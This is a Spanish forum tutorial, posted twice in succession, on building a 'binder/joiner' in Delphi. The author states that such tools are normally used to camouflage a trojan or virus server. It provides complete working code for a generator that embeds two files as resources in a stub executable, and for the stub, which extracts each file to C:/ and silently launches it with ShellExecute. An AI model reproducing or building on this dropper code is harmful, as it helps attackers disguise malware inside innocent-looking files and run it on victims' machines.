[Delphi] Creacion de un Binder
Publicado: 29 Ago 2013, 01:20
[Titulo] : Creacion de un Binder
[Lenguaje] : Delphi
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner
-- =================--------
0x01 : Introduccion
Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.
¿ Que es un Joiner ?
Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.
¿ Que es un stub ?
El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.
0x02 : Creacion del generador
Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.
Una vez creado , creamos dos cajas edit y un boton como en la imagen :
Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.
Una imagen del codigo comentado.
0x03 : Creacion del stub
Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :
Una vez hecho copiamos el siguiente codigo :
Una imagen del codigo comentado.
0x04 : Probando el Joiner
Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"
Primero cargamos el generador :
Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.
Eso es todo.
El manual esta disponible en PDF [Enlace externo eliminado para invitados].
--========--
The End ?
--========--
[Lenguaje] : Delphi
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner
-- =================--------
0x01 : Introduccion
Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.
¿ Que es un Joiner ?
Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.
¿ Que es un stub ?
El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.
0x02 : Creacion del generador
Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.
Una vez creado , creamos dos cajas edit y un boton como en la imagen :
Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.
Código: Seleccionar todo
procedure TForm1.Button1Click(Sender: TObject);
var
archivo1: string; // Declaramos la variable archivo1 como string
archivo2: string; // Declaramos la variable archivo2 como string
uno: DWORD; // Declaramos la variable uno como dword
tam: DWORD; // Declaramos la variable tam como dword
dos: DWORD; // Declaramos la variable dos como dword
tres: DWORD; // Declaramos la variable tres como dword
todo: Pointer; // Declaramos la variable todo como pointer
begin
uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe
archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo
dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo
tam := GetFileSize(dos, nil); // Capturamos el tamaño
GetMem(todo, tam); // Capturamos la memoria
ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
CloseHandle(dos); // Cerramos el archivo
UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL,
SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo
dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
tam := GetFileSize(dos, nil); // Capturamos el tamaño
GetMem(todo, tam); // Capturamos la memoria
ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
CloseHandle(dos); // Cerramos el archivo
UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL,
SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso
end;
0x03 : Creacion del stub
Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :
Una vez hecho copiamos el siguiente codigo :
Código: Seleccionar todo
program stub;
uses Windows, ShellApi; // Cargamos los modulos necesarios
function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL;
stdcall; // Empieza la funcion con los parametros
var
data: DWORD; // Declaramos como DWORD la variable data
uno: DWORD; // Declaramos como DWORD la variable uno
dos: DWORD; // Declaramos como DWORD la variable dos
begin
Result := True; // Retornamos true en la funcion
data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos
uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo
WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
dos, nil); // Escribimos en el archivo creado
CloseHandle(uno); // Cerramos
ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL);
// Ejecutamos el archivo
end;
begin
EnumResourceNames(0, RT_RCDATA, @start, 0);
// Funcion para cargar los archivos del joiner
end.
Una imagen del codigo comentado.
0x04 : Probando el Joiner
Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"
Primero cargamos el generador :
Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.
Eso es todo.
El manual esta disponible en PDF [Enlace externo eliminado para invitados].
--========--
The End ?
--========--